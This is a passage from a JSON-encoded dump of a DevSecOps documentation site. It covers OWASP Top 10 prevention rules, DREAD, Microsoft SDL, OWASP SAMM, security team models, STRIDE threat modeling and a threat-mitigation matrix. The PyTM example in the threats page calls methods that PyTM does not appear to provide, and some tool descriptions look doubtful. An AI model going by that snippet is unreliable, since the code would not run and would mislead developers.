program.\n\n6. CSA: The Cloud Security Alliance (CSA) provides guidance for secure cloud computing. Its Cloud Controls Matrix provides a framework for organizations to assess the security of cloud service providers.\n\n7. CWE/SANS Top 25: A list of the top 25 most dangerous software errors, as identified by the Common Weakness Enumeration (CWE) and the SANS Institute.\n\n\nCheatsheet with rules/policies for preventing OWASP Top 10 vulnerabilities\n\n\n| Type    | Vulnerability   | Rule/Policy |\n|:---------------|:---------------------|:---------------------|\n| `A1: Injection` | \tSQL Injection\t | Use prepared statements and parameterized queries. Sanitize input and validate parameters. |\n| `A1: Injection` | \tNoSQL Injection\t | Use parameterized queries with built-in protections. Sanitize input and validate parameters. |\n| `A1: Injection` | \tLDAP Injection\t | Use parameterized queries and escape special characters. |\n| `A1: Injection` | \tCommand Injection\t | Use safe APIs or libraries that do not allow arbitrary command execution. Sanitize input and validate parameters. |\n| `A2: Broken Authentication and Session Management` | \tWeak Passwords\t | Enforce strong password policies, including complexity requirements and regular password changes. Use multi-factor authentication. |\n| `A2: Broken Authentication and Session Management` | \tSession Fixation\t | Regenerate session ID upon login and logout. Use secure cookies with HttpOnly and Secure flags. |\n| `A3: Cross-Site Scripting (XSS)` | \tReflected XSS\t | Sanitize all user input, especially from untrusted sources such as URLs, forms, and cookies. Use output encoding to prevent XSS attacks. |\n| `A3: Cross-Site Scripting (XSS)` | \tStored XSS\t | Filter user-generated content to prevent malicious scripts from being stored. Use output encoding to prevent XSS attacks. |\n| `A4: Broken Access Control` | \tInsecure Direct Object Reference (IDOR)\t | Implement proper access controls and authorization checks to prevent direct object reference attacks. |\n| `A5: Security Misconfiguration` | \tImproper Error Handling\t | Do not reveal sensitive information in error messages or logs. Use custom error pages. |\n| `A6: Insecure Cryptographic Storage` | \tWeak Cryptography\t | Use strong, up-to-date encryption algorithms and keys. Implement proper key management and storage practices. |\n| `A7: Insufficient Transport Layer Protection` | \tUnencrypted Communications\t | Use HTTPS with secure protocols and strong encryption. Disable insecure protocols such as SSLv2 and SSLv3. |\n| `A8: Insecure Deserialization` | \tInsecure Deserialization\t | Validate and verify the integrity of serialized objects. Avoid accepting serialized objects from untrusted sources. |\n| `A9: Using Components with Known Vulnerabilities` | \tOutdated Software\t | Keep all software and libraries up-to-date with the latest security patches. Monitor for vulnerabilities and apply patches as soon as possible. |\n| `A10: Insufficient Logging and Monitoring` | \tLack of Monitoring\t | Implement robust logging and monitoring practices to detect and respond to security events. Use SIEM tools and alerting systems. |\n\n\n## DREAD:\n\n\n* Damage potential: How much damage could be caused if the vulnerability is exploited?\n* Reproducibility: How easy is it to reproduce the vulnerability?\n* Exploitability: How easy is it to actually exploit the vulnerability?\n* Affected users: How many users or systems are affected by the vulnerability?\n* Discoverability: How easy is it for an attacker to discover the vulnerability?\n\nBy evaluating each of these factors, organizations can assign a score to a particular vulnerability and use that score to determine which vulnerabilities pose the greatest risk and should be addressed first.\n\n\n\n## SDL (Security Development Lifecycle)\n\n### Training:\n\n* Core security training\n* Requirements:\n* Establish security requirements \n* Create quality gates/bug bars \n* Perform security and privacy risk assessments\n\n### Design:\n\n* Establish design requirements \n* Perform attack surface analysis reduction \n* Use threat modeling \n\n### Implementation:\n\n* Use approved tools \n* Deprecate unsafe functions \n* Perform static analysis \n\n### Verification:\n\n* Perform dynamic analysis \n* Perform fuzz testing \n* Conduct attack surface review\n\n### Release:\n\n* Create an incident response plan \n* Conduct final security review \n* Certify, release, and archive \n\n### Response:\n\n* Execute incident response plan \n\n## OWASP SAMM \n\nOWASP SAMM categorizes security practices into four key business \n\n### Governance:\n\n* Strategy and metrics \n* Policy and compliance \n* Education and guidance \n\n### Construction:\n\n* Threat assessment \n* Security requirements \n* Secure architecture \n\n### Verification:\n\n* Design review \n* Implementation review \n* Security testing\n\n### Operations:\n\n* Issue management \n* Environment Hardening \n* Operational enablement\n"
  },
  {
    "path": "docs/plan-develop/driver.md",
    "content": "---\nlayout: default\ntitle:  Driver\nparent: Plan & Develop\n---\n\n# Driver\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\nDevSecOps is a methodology that seeks to integrate security into the software development lifecycle, rather than treating it as a separate process that is bolted on at the end. The goal is to build secure, reliable software that meets the needs of the business, while also protecting sensitive data and critical infrastructure. There are several drivers and challenges associated with implementing DevSecOps, which are outlined below.\n\n**Drivers:**\n\n1. Security concerns: With the increasing frequency and severity of cyberattacks, security has become a top priority for organizations. DevSecOps provides a way to build security into the software development process, rather than relying on ad hoc security measures.\n\n2. Compliance requirements: Many organizations are subject to regulatory requirements such as PCI-DSS, HIPAA, and GDPR. DevSecOps can help ensure compliance with these regulations by integrating security into the development process and providing visibility into the security posture of the application.\n\n3. Agility and speed: DevSecOps can help organizations develop and deploy software more quickly and with greater agility. By integrating security into the development process, organizations can reduce the time and cost of remediation and avoid delays caused by security issues.\n\n4. Collaboration: DevSecOps encourages collaboration between developers, security teams, and operations teams. By working together, these teams can build more secure and reliable software.\n\n**Challenges:**\n\n1. Cultural barriers: DevSecOps requires a cultural shift in the organization, with developers, security teams, and operations teams working together in a collaborative manner. This can be challenging, particularly in organizations with a siloed culture.\n\n2. Lack of skills: DevSecOps requires a range of skills, including development, security, and operations. Finding individuals with these skills can be difficult, particularly in a competitive job market.\n\n3. Tooling and automation: DevSecOps relies heavily on tooling and automation to integrate security into the development process. Implementing and maintaining these tools can be challenging, particularly for smaller organizations with limited resources.\n\n4. Complexity: DevSecOps can be complex, particularly for organizations with large, complex applications. It can be difficult to integrate security into the development process without causing delays or creating additional complexity.\n\n\n## Application Security Verification Standard (ASVS):\n\nAuthentication, Session Management, Access Control, Malicious Input handling, Output encoding/escaping, Cryptography, Error handling and logging , Data Protection, Communication Security, Http Security configuration, Security configuration, Malicious, Internal Security, Business logic, Files and resources, Mobile, Web services\n\n### Design review \n\n* Security compliance checklist \n* Security requirement checklist (OWASP ASVS) \n* Top 10 security design issues \n* Security issues in the previous release \n* Customer or marketing feedback on security issues \n\n\n### Implementation review \n\n* Secure coding \n* Selection of reliable and secure third-party components \n* Secure configuration \n\n\n### Third-party components \n\n* A third-party software evaluation checklist: \n* Recommended third-party software and usage by projects: \n* CVE status of third-party components: \n\n### Code Review\n\n* **Static Application Security Testing (SAST)** \n\n{: .highlight }\nFindSecbugs, Fortify, Coverity, klocwork.\n\n* **Dynamic Application Security Testing (DAST)**\n\n{: .highlight }\nOWASP ZAP, BurpSuite\n\n* **Interactive Application Security Testing (IAST)** \n\n{: .highlight }\nCheckMarks Varacode\n\n\n* **Run-time Application Security Protection(RASP)** \n\n{: .highlight }\nOpenRASP\n\n* **SEI CERT Coding**\n\n{: .highlight }\nhttps://wiki.sei.cmu.edu/confluence/display/seccode/SEI+CERT+Coding+Standards\n\n* **Software Assurance Marketplace (SWAMP)**\n\n{: .highlight }\nhttps://www.mir-swamp.org/\n\n### Environment Hardening \n\n* Secure configuration baseline \n* Constant monitoring mechanism \n\n### Constant monitoring mechanism\n\n* **Common vulnerabilities and exposures (CVEs)** \n\n{: .highlight }\nOpenVAS, NMAP \n\n* **Integrity monitoring**\n\n{: .highlight }\nOSSEC\n\n* **Secure configuration compliance**\n\n{: .highlight }\nOpenSCAP\n\n* **Sensitive information exposure** \n\n{: .note }\nNo specific open source tool in this area. However, we may define specific regular expression patterns\n\n\n## ENGAGE\n\nhttps://engage.mitre.org/matrix/\n\n\n\n## IACD\n\n\n### Playbooks\n\nProcess Oriented\n\n* Reflects organization's policies and procedures\n* List activities that may require human interaction\n* Organization-to-organization shareable\n\n\n\n#### Playbooks\n\nProcess Oriented\n\n* Reflects organization's policies and procedures\n* List activities that may require human interaction\n* Organization-to-organization shareable\n\n\n\n#### Workflows\n\nTechnical Steps\n\n* Focused on machine interaction\n* Supports tailorable levels of automation\n* Machine-to-machine shareable\n\n\n#### Local Instance\n\nExecution at the System Level\n\n* Activity conducted is tailored to target system\n* Describes specific decision logic and thresholds\n* Machine-to-machine shareable in organization\n\n\n### Example Playbook\n\nTo represent a general security process in a manner that:\n1. Most organizations can associate with a process they are a\nperforming\n2. Can be mapped to governance or regulatory\nrequirements (e.g., NIST 800-53)\n3. Demonstrates a path to automation of the process over time\n4. Identifies industry best practices for steps in the process\n\nPlaybook Content Types:\n\n1. Initiating Condition\n2. Process Steps\n3. Best Practices and Local Policies\n4. End State\n5. Relationship to Governance or Regulatory Requirements\n\n\nSteps to Build a Playbook:\n\n\n1. Identify the initiating condition.\n\n Think About: What event or condition is going to start this playbook? This could be a time-based trigger,\nthe detection of an event, or the decision to act.\n\n2. List all possible actions that could occur in response to this initiating condition.\n Think About: How could I respond to this condition? What steps would I take to mitigate this threat?\nDon’t worry about order right now!\n\n3. Iterate through the actions list from Step 2 and categorize the actions based on whether they are required\nsteps or whether they are optional.\n Think About: Is this step necessary to mitigate or investigate this event, or is it a best practice? Some\nbest practices have become standardized or widely implemented, while others may be considered extraneous.\nIt’s OK if it’s unclear whether some actions are required or optional; it’s up to you to categorize accordingly.\n\n4. Use the required steps from Step 3 to build the playbook process steps diagram.\n Think About: Ordering. This is the time to think about the order in which you would perform these\nactions.\n\n5. Iterate through the optional actions and decide whether the actions can be grouped by activity or function.\nFor example: Monitoring, Enrichment, Response, Verification, or Mitigation.\n\n6. Think About: Are there possible actions that can only take place in certain parts of the playbook?\nThis is how you would group the actions.\n\n7. Modify the playbook process steps diagram from Step 4 to include the points where optional actions\nwould be selected.\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/plan-develop/methodology.md",
    "content": "---\nlayout: default\ntitle: Methodology\nparent: Plan & Develop\n---\n\n# Methodology\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\nDevSecOps methodology is an approach to software development that integrates security practices into the software development process from the beginning. The goal of DevSecOps is to make security an integral part of the software development process, rather than an afterthought.\n\nSome common methodologies used in DevSecOps include:\n\n1. Agile: Agile methodology focuses on iterative development and continuous delivery, with an emphasis on collaboration and communication between developers and other stakeholders. In DevSecOps, Agile is often used to facilitate a continuous feedback loop between developers and security teams, allowing security issues to be identified and addressed early in the development process.\n\n2. Waterfall: Waterfall methodology is a traditional software development approach that involves a linear progression of steps, with each step building on the previous one. In DevSecOps, Waterfall can be used to ensure that security requirements are defined and addressed early in the development process, before moving on to later stages of development.\n\n3. DevOps: DevOps methodology focuses on collaboration and automation between developers and IT operations teams. In DevSecOps, DevOps can be used to automate security testing and other security-related tasks, allowing security issues to be identified and addressed more quickly and efficiently.\n\n4. Shift-Left: Shift-Left methodology involves moving security testing and other security-related tasks earlier in the development process, to catch and address security issues earlier. In DevSecOps, Shift-Left can be used to ensure that security is integrated into the development process from the very beginning.\n\n5. Threat Modeling: Threat modeling is a methodology that involves identifying and analyzing potential threats to a software application, and then designing security controls to mitigate those threats. In DevSecOps, threat modeling can be used to identify and address potential security issues early in the development process, before they become more difficult and expensive to address.\n\nThese are just a few examples of the methodologies that can be used in DevSecOps. The key is to integrate security practices into the development process from the beginning, and to use a continuous feedback loop to identify and address security issues as early as possible.\n\n\n## DoD\n\n\nDoD Methodology in DevSecOps refers to the specific methodology and framework that the US Department of Defense (DoD) follows to implement DevSecOps practices in its software development lifecycle. The DoD has created its own set of guidelines and best practices for DevSecOps that align with its specific security requirements and regulations.\n\nThe DoD Methodology for DevSecOps is based on the following principles:\n\n1. Continuous Integration/Continuous Delivery (CI/CD) pipeline: The CI/CD pipeline is an automated process for building, testing, and deploying software changes. The DoD Methodology emphasizes the importance of automating the pipeline to speed up the delivery process and ensure that all changes are tested thoroughly before they are deployed.\n\n2. Security testing: The DoD Methodology requires that security testing is integrated throughout the entire software development lifecycle. This includes static code analysis, dynamic application security testing (DAST), and penetration testing.\n\n3. Infrastructure as Code (IaC): The DoD Methodology promotes the use of IaC to automate the deployment and management of infrastructure. This approach ensures that infrastructure is consistent and repeatable, which helps to reduce the risk of misconfigurations and security vulnerabilities.\n\n4. Risk management: The DoD Methodology requires that risk management is an integral part of the DevSecOps process. This involves identifying potential risks and vulnerabilities, prioritizing them based on their severity, and taking appropriate measures to mitigate them.\n\n5. Collaboration: The DoD Methodology emphasizes the importance of collaboration between development, security, and operations teams. This includes regular communication, joint planning, and cross-functional training to ensure that all team members have a common understanding of the DevSecOps process.\n\nOverall, the DoD Methodology for DevSecOps is designed to help the Department of Defense build secure, reliable, and resilient software systems that meet its unique security requirements and regulations.\n\n\n\n\n\n## Microsoft\n\n\nMicrosoft has its own approach to DevSecOps, which is known as the Microsoft Secure Development Lifecycle (SDL). The SDL is a comprehensive methodology that integrates security practices and tools throughout the entire software development process, from planning and design to testing and release.\n\nThe key principles of the Microsoft SDL are:\n\n1. Security by design: Security is considered from the beginning of the development process, and is integrated into the design of the application.\n\n2. Continuous improvement: The SDL is an iterative process, with continuous improvement of security practices and tools based on feedback and lessons learned.\n\n3. Risk management: Risks are identified and evaluated at each stage of the development process, and appropriate measures are taken to mitigate them.\n\n4. Collaboration: Security is a shared responsibility, and collaboration between development, operations, and security teams is essential.\n\n5. Automation: Automated tools and processes are used to ensure consistency and efficiency in security practices.\n\nThe Microsoft SDL includes specific practices and tools for each stage of the development process, such as threat modeling, code analysis, security testing, and incident response. Microsoft also provides guidance and training for developers, operations teams, and security professionals on how to implement the SDL in their organizations.\n\n\n\n\n## Security guidelines and processes \n\n- [ ] **Security training**\n\nSecurity awareness, Security certification program, Case study knowledge base, Top common issue, Penetration learning environment\nOWASP top 10, CWE top 25, OWASP VWAD\n\n- [ ] **Security maturity assessment**\n\nMicrosoft SDL, OWASP SAMM self-assessment for maturity level\nMicrosoft SDL, OWASP SAMM\n\n- [ ] **Secure design**\n\nThreat modeling templates (risks/mitigation knowledge base), Security requirements for release gate, Security design case study, Privacy protection \nOWASP ASVS, NIST, Privacy risk assessment\n\n- [ ] **Secure coding**\n\nCoding guidelines (C++, Java, Python, PHP, Shell, Mobile), Secure coding scanning tools, Common secure coding case study \nCWE, Secure coding, CERT OWASP\n\n- [ ] **Security testing**\n\nSecure compiling options such as Stack Canary, NX, Fortify Source, PIE, and RELRO, Security testing plans, Security testing cases, Known CVE testing, Known secure coding issues, API-level security testing tools, Automation testing tools, Fuzz testing, Mobile testing, Exploitation and penetration, Security compliance\nKali Linux tools, CIS\n\n- [ ] **Secure deployment**\n\nConfiguration checklist, Hardening guide, Communication ports/protocols, Code signing\nCIS Benchmarks, CVE\n\n- [ ] **Incident and vulnerability handling**\n\nRoot cause analysis templates, Incident handling process and organization\nNIST SP800-61\n\n- [ ] **Security training**\n\nSecurity awareness by email, Case study newsletter, Toolkit usage hands-on training, Security certificate and exam \nNIST 800- 50, NIST 800- 16, SAFECode security engineering training\n\n\n\nStage 1 \n{: .label }\n\n## basic security control \n\n* Leverage third-party cloud service provider security mechanisms (for example, AWS provides IAM, KMS, security groups, WAF, Inspector, CloudWatch, and Config) \n* Secure configuration replies on external tools such as AWS Config and Inspector \n* Service or operation monitoring may apply to AWS Config, Inspector, CloudWatch, WAF, and AWS shield\n\n\nStage 2 \n{: .label }\n## building a security testing team\n\n**Vulnerability assessment**\n\n{: .highlight }\nNMAP, OpenVAS\n\n**Static security analysis:**\n\n{: .highlight }\nFindBugs for Java, Brakeman for Ruby on Rails, Infer for Java, C++, Objective C and C\n\n**Web security:**\n\n{: .highlight }\nOWASP dependency check, OWASP ZAP, Archni-Scanner, Burp Suite, SQLMap, w3af\n\n**Communication:**\n\n{: .highlight }\nNmap, NCAT, Wireshark, SSLScan, sslyze\n\n**Infrastructure security:**\n\n{: .highlight }\nOpenSCAP, InSpec\n\n**VM Toolset:**\n\n{: .highlight }\nPentest Box for Windows, Kali Linux, Mobile Security Testing Framework\n\n**Security monitoring:**\n\n{: .highlight }\nELK, MISP—Open source Threat Intelligence Platform, OSSCE—Open source HIDS Security, Facebook/osquery—performant endpoint visibility, AlienValut OSSIM—opensource SIEM\n\nStage 3 \n{: .label }\n## SDL activities \n\n* Security shifts to the left and involves every stakeholder \n* Architect and design review is required to do threat modeling \n* Developers get secure design and secure coding training \n* Operation and development teams are as a closed-loop collaboration \n* Adoption of industry best practices such as OWASP SAMM and Microsoft SDL for security maturity assessment \n\nStage 4\n{: .label }\n## self-build security services \n\nTake Salesforce as an example—the Salesforce Developer Center portal provides security training modules, coding, implementation guidelines, tools such as assessment tools, code scanning, testing or CAPTCHA modules, and also a developer forum. Whether you are building an application on top of salesforce or not, the Salesforce Developer Center is still a good reference not only for security knowledge but also for some open source tools you may consider applying.\n\nStage 5 \n{: .label }\n## big data security analysis and automation\n\nKey characteristics at this stage are: \n\n* Fully or mostly automated security testing through the whole development cycle\n* Applying big data analysis and machine learning to identify abnormal behavior or unknown threats\n* wProactive security action is taken automatically for security events, for example, the deployment of WAF rules or the deployment of a virtual patch\n\nTypical open source technical components in big data analysis frameworks include the following:\n\n* Flume, Log Logstash, and Rsyslog for log collection \n* Kafka, Storm, or Spark for log analysis \n* Redis, MySQL, HBase, and HDFS for data storage \n* Kibana, ElasticSearch, and Graylog for data indexing, searching, and presentation\n\nThe key stages in big data security analysis are explained in the table: \n\n**Data collection:**\n\nCollects logs from various kinds of sources and systems such as firewalls, web services, Linux, networking gateways, endpoints, and so on. \n\n**Data normalization:**\n\nSanitizes or transforms data formats into JSON, especially, for critical information such as IP, hostname, email, port, and MAC.\n\n**Data enrich/label:**\n\nIn terms of IP address data, it will further be associated with GeoIP and WhoIS information. Furthermore, it may also be labeled if it's a known black IP address. \n\n**Correlation:**\n\nThe correlation analyzes the relationship between some key characteristics such as IP, hostname, DNS domain, file hash, email address, and threat knowledge bases.\n\n**Storage:**\n\nThere are different kinds of data that will be stored —the raw data from the source, the data with enriched information, the results of correlation, GeoIP mapping, and the threat knowledge base. \n\n**Alerts:**\n\nTrigger alerts if threats were identified or based on specified alerting rules. \n\n**Presentation/query:**\n\nSecurity dashboards for motoring and queries. ElasticSearch, RESTful API, or third-party SIEM.\n\n\n\n\n## Role of a security team in an organization\n\n- [ ] **Security office under a CTO**\n\n![Security office under a CTO](../../../assets/images/model1.png)\n\n\n* No dedicated Chief Security Officer (CSO) \n* The security team may not be big—for example, under 10 members \n* The security engineering team serves all projects based on their needs \n* The key responsibility of the security engineering team is to provide security guidelines, policies, checklists, templates, or training for all project teams\n* It's possible the security engineering team members may be allocated to a different project to be subject matter experts based on the project's needs\n* Security engineering provides the guidelines, toolkits, and training, but it's the project team that takes on the main responsibility for daily security activity execution\n\n\n\n\n- [ ] **Dedicated security team**  \n\n![Dedicated security team](../../../assets/images/model2.png)\n\n\n* **Security management:** The team defines the security guidelines, process, policies, templates, checklist, and requirements. The role of the security management team is the same as the one previously discussed in the Security office under a CTO section.\n* **Security testing:** The team is performing in-house security testing before application release.\n* **Security engineering:** The team provides a common security framework, architecture, SDK, and API for a development team to use\n* **Security monitoring:** This is the security operation team, who monitor the security status for all online services.\n* **Security services:** This is the team that develops security services such as WAF and intrusion deference services.\n\n\n\n- [ ] **Security technical committee (taskforce)**\n\n![Security technical committee (taskforce)](../../../assets/images/model3.png)\n\n\nThe secure design taskforce will have a weekly meeting with all security representatives—from all project teams— and security experts from the security team to discuss the following topics (not an exhaustive list):\n\n* Common secure design issues and mitigation (initiated by security team) \n* Secure design patterns for a project to follow (initiated by security team) \n* Secure design framework suggestions for projects (initiated by security team) \nSpecific secure design issues raised by one project and looking for advice on other projects (initiated by project team)\n* Secure design review assessment for one project (initiated by project team) \n\n\n"
  },
  {
    "path": "docs/plan-develop/plan-develop.md",
    "content": "---\nlayout: default\ntitle: Plan & Develop\nnav_order: 2\nhas_children: true\npermalink: docs/plan-develop\n---\n\n# Plan & Develop\n{: .no_toc }\n\n{: .fs-6 .fw-300 }\n"
  },
  {
    "path": "docs/plan-develop/threats.md",
    "content": "---\nlayout: default\ntitle:  Threats\nparent: Plan & Develop\n---\n\n# Threats\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n## Threat Modeling\n\n\n\n\nThreat modeling is a process that helps identify and prioritize potential security threats to a system or application. The goal of threat modeling is to identify security risks early in the development process and proactively mitigate them, rather than waiting for vulnerabilities to be discovered after deployment.\n\nOne popular method for conducting threat modeling is called STRIDE, which stands for Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of privilege. These are the six types of security threats that can affect a system, and by considering each of them in turn, a threat model can help identify potential vulnerabilities and attacks.\n\nThe STRIDE methodology is often used in combination with a diagram designer tool, such as Microsoft's Threat Modeling Tool or the open-source OWASP Threat Dragon. These tools allow you to create a visual representation of the system or application you are analyzing, and to map out potential threats and attack vectors.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Explains the six types of security threats in the STRIDE methodology:\n\n\n| STRIDE Threat    | Description   | \n|:---------------|:---------------------|\n| `Spoofing` | Impersonating a user, device, or system in order to gain unauthorized access or perform malicious actions. Examples include phishing attacks or using a fake SSL certificate to intercept data.\t | \n| `Tampering` | Modifying data or code in transit or at rest, in order to introduce errors, gain unauthorized access, or perform other malicious actions. Examples include modifying the source code of an application or altering data in a database.\t | \n| `Repudiation` | Denying or disavowing actions or events, in order to evade accountability or responsibility. Examples include denying that an action was taken, or that data was accessed.\t | \n| `Information Disclosure` | Revealing confidential or sensitive information to unauthorized parties, whether intentionally or accidentally. Examples include disclosing passwords or user data, or exposing private keys.\t | \n| `Denial of Service` | Disrupting or degrading the availability or functionality of a system or application, through network attacks, resource exhaustion, or other means. Examples include Distributed Denial of Service (DDoS) attacks or flooding a server with requests.\t | \n| `Elevation of Privilege` | Gaining additional access or privileges beyond those that were initially granted, in order to perform unauthorized actions or escalate an attack. Examples include exploiting a software vulnerability to gain administrative access or using a social engineering technique to obtain sensitive information.\t | \n\n\n### Implementation\n\nStep 1: Define the Scope\n\nIdentify the application or system within the DevSecOps pipeline that you want to perform threat modeling for. For example, let's consider a microservices-based application deployed using containerization and managed by Kubernetes.\n\nStep 2: Gather Information\n\nGather information about the application's architecture, design, and deployment. This includes understanding the components, their interactions, data flows, and external dependencies.\n\nStep 3: Identify Threats and Assets\n\nIdentify the critical assets and sensitive data involved in the application. Consider both internal and external threats that could compromise the security of these assets. For example:\nUnauthorized access to customer data stored in a database\nInjection attacks on APIs or containers\nMisconfiguration of Kubernetes resources leading to unauthorized access or privilege escalation\n\nStep 4: Assess Vulnerabilities and Risks\n\nEvaluate the architecture and design to identify potential vulnerabilities and risks associated with the identified threats. Consider the security implications at each stage of the DevSecOps pipeline, including development, testing, deployment, and operations. For example:\nInsecure container images containing known vulnerabilities\nLack of proper access controls on Kubernetes resources\nWeak or outdated authentication mechanisms\n\nStep 5: Prioritize and Mitigate Risks\n\nPrioritize the risks based on their potential impact and likelihood of occurrence. Develop mitigation strategies and recommendations to address each identified risk. Consider integrating security controls and best practices into the DevSecOps pipeline. For example:\nImplementing automated vulnerability scanning and patch management for container images\nApplying secure configuration practices for Kubernetes resources\nEnforcing strong authentication and access controls at all stages of the pipeline\n\nStep 6: Continuously Monitor and Improve\n\nIncorporate threat modeling as an iterative process within the DevSecOps lifecycle. Regularly review and update the threat model as the application evolves or new risks emerge. Continuously monitor the system for potential threats and vulnerabilities.\n\nReal-case Example:\n\nIn a DevSecOps context, consider a scenario where a development team is building a cloud-native application using microservices architecture and deploying it on a container platform. The threat modeling process could involve identifying risks such as:\n\n* Insecure container images with vulnerabilities\n* Weak authentication and authorization mechanisms\n* Inadequate logging and monitoring for containerized applications\n* Misconfiguration of cloud resources and access controls\n* Insecure communication between microservices\n* Injection attacks on API endpoints\n\nBased on the identified risks, mitigation strategies could include:\n\n* Implementing automated vulnerability scanning and image hardening for containers\n* Applying strong authentication and authorization mechanisms, such as OAuth or JWT tokens\n* Incorporating centralized logging and monitoring solutions for containerized applications\n* Establishing proper cloud resource management and access control policies\n* Encrypting communication channels between microservices\n* Implementing input validation and security controls to prevent injection attacks\n\n\n\n\n### Threat Matrix\n\n\nThis matrix provides a starting point for identifying potential threats and corresponding mitigations based on different categories.\n\n\n\n| Threat Category    | Threat Description    |  Potential Mitigation |\n|:---------------|:---------------------|:---------------------|\n| `Authentication` | Weak or stolen credentials\t | Implement strong password policies, multi-factor authentication, and password hashing algorithms. |\n| `Authentication` | Insecure authentication protocols\t\t | Use secure authentication protocols (e.g., TLS) and avoid transmitting credentials in plaintext. |\n| `Authorization` | Insufficient access controls\t | Implement RBAC (Role-Based Access Control) and apply the principle of least privilege. |\n| `Authorization` | Improper privilege escalation\t | Limit privilege escalation capabilities and regularly review user permissions. |\n| `Data Protection` | Data leakage or unauthorized access\t | Encrypt sensitive data at rest and in transit, and implement proper access controls. |\n| `Data Protection` | Insecure data storage\t\t | Follow secure coding practices for data storage, including encryption and secure key management. |\n| `Network Security` | Inadequate network segmentation\t | Implement proper network segmentation using firewalls or network policies. |\n| `Network Security` | Man-in-the-Middle attacks\t | Use encryption and certificate-based authentication for secure communication. |\n| `Denial-of-Service (DoS)` | Resource exhaustion\t | Implement rate limiting, request validation, and monitoring for abnormal behavior. |\n| `Denial-of-Service (DoS)` | Distributed DoS (DDoS) attacks\t\t | Employ DDoS mitigation techniques, such as traffic filtering and load balancing. |\n| `System Configuration` | Misconfigured security settings\t | Apply secure configuration guidelines for all system components. |\n| `System Configuration` | Insecure default configurations\t | Change default settings and remove or disable unnecessary services. |\n| `Vulnerability Management` | Delayed patching of software\t | Establish a vulnerability management program with regular patching and updates. |\n| `Vulnerability Management` | Lack of vulnerability scanning\t | Conduct regular vulnerability scans and prioritize remediation. |\n| `Insider Threats` | Malicious or negligent insiders\t | Implement proper access controls, monitoring, and employee training programs. |\n| `Insider Threats` | Unauthorized data access or theft\t | Monitor and log user activities and implement data loss prevention mechanisms. |\n| `Physical Security` | Unauthorized physical access\t | Secure physical access to data centers, server rooms, and hardware components. |\n| `Physical Security` | Theft or destruction of hardware\t | Implement physical security controls, such as locks, surveillance systems, and backups. |\n| `Third-Party Dependencies` | Vulnerabilities in third-party components\t | Perform due diligence on third-party components, apply patches, and monitor security advisories. |\n| `Third-Party Dependencies` | Lack of oversight on third-party activities\t | Establish strong vendor management practices, including audits and security assessments. |\n\n\n\n\n### Tools\n\n\n\n\n| Threat Category    | Threat Description     |\n|:---------------|:---------------------|\n| `Microsoft Threat Modeling Tool` | A free tool from Microsoft that helps in creating threat models for software systems. It provides a structured approach to identify, analyze, and mitigate potential threats.\t | \n| `OWASP Threat Dragon` | An open-source threat modeling tool that enables the creation of threat models using the STRIDE methodology. It provides an intuitive interface and supports collaboration among team members.\t | \n| `PyTM` |An open-source threat modeling tool specifically designed for web applications. It allows the modeling of various aspects of an application's architecture and helps in identifying potential threats.\t |\n| `ThreatModeler` | A commercial tool that offers a comprehensive platform for threat modeling. It provides a visual modeling interface, automated threat analysis, and integration with other security tools and frameworks.\t | \n| `IriusRisK` | A commercial tool that combines threat modeling with risk management. It supports multiple threat modeling methodologies, provides risk assessment capabilities, and offers integration with other tools and platforms.\t | \n| `TMT (Threat Modeling Tool)` | An open-source command-line tool developed by OWASP for threat modeling. It supports the STRIDE methodology and allows for the automation of threat modeling processes.\t | \n| `Secure Code Warrior` | While not a traditional threat modeling tool, it offers interactive training modules and challenges that can help developers understand and identify potential threats during the development process.\t | \n\n\n## Threats \n\n\n\n\n### Weak or stolen credentials\n\n#### **PyTM**\nThis code creates a threat model using PyTM and represents the \"Weak or Stolen Credentials\" threat scenario. It includes actors such as \"Attacker\" and \"Insider,\" a server representing the application server, and a datastore representing the user's data.\n\nThe threat model defines the \"Weak or Stolen Credentials\" threat and includes attack paths such as \"Password Guessing/Brute Force Attack,\" \"Credential Theft,\" and \"Insider Threat.\" It also defines the impact of these threats, such as unauthorized access to user data and data breaches.\n\nThe code generates a threat model diagram in PNG format, named \"weak_or_stolen_credentials_threat_model.png.\"\n\n```\nfrom pytm import TM, Server, Datastore, Actor\n\n# Create a new threat model\ntm = TM(\"Weak or Stolen Credentials Threat Model\")\n\n# Create actors\nattacker = Actor(\"Attacker\")\ninsider = Actor(\"Insider\")\n\n# Create server and datastore\nserver = Server(\"Application Server\")\ndatastore = Datastore(\"User Datastore\")\n\n# Define weak or stolen credentials threat\ntm.add_threat()\ntm.threat.name(\"Weak or Stolen Credentials\")\ntm.threat.description(\"Threat of weak or stolen user credentials\")\n\n# Define attack paths\ntm.attack_path(attacker, server, \"Password Guessing/Brute Force Attack\")\ntm.attack_path(attacker, server, \"Credential Theft\")\ntm.attack_path(insider, server, \"Insider Threat\")\n\n# Define impact\ntm.data_flow(server, datastore, \"Unauthorized Access to User Data\")\ntm.data_flow(server, datastore, \"Data Breach and Exposure of Sensitive Information\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"weak_or_stolen_credentials_threat_model.png\")\n```\n\n\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Weak or Stolen Credentials:\n\nConcepts:\n- Credentials: Usernames and passwords or other authentication tokens used for user authentication.\n- Weak Credentials: Easily guessable or commonly used credentials that can be easily exploited.\n- Stolen Credentials: Credentials obtained by unauthorized individuals through various means, such as phishing or data breaches.\n- Authentication Mechanisms: Methods used to verify user identities and grant access.\n- Unauthorized Access: Gaining access to a system or application without proper authorization.\n\nUsers:\n1. Attackers:\n   - Threat: Exploitation of Weak or Stolen Credentials\n   - Attempts to gain unauthorized access to the system by using weak or stolen credentials.\n\n2. System Administrator:\n   - Threat: Weak Credential Management\n   - Fails to enforce strong password policies or implements weak authentication mechanisms.\n\n3. User:\n   - Threat: Credential Theft or Compromise\n   - Falls victim to phishing attacks or unknowingly uses weak or easily guessable credentials.\n\nComponents:\n1. Authentication System:\n   - Manages user authentication and access controls.\n   - Data Flow: User authentication 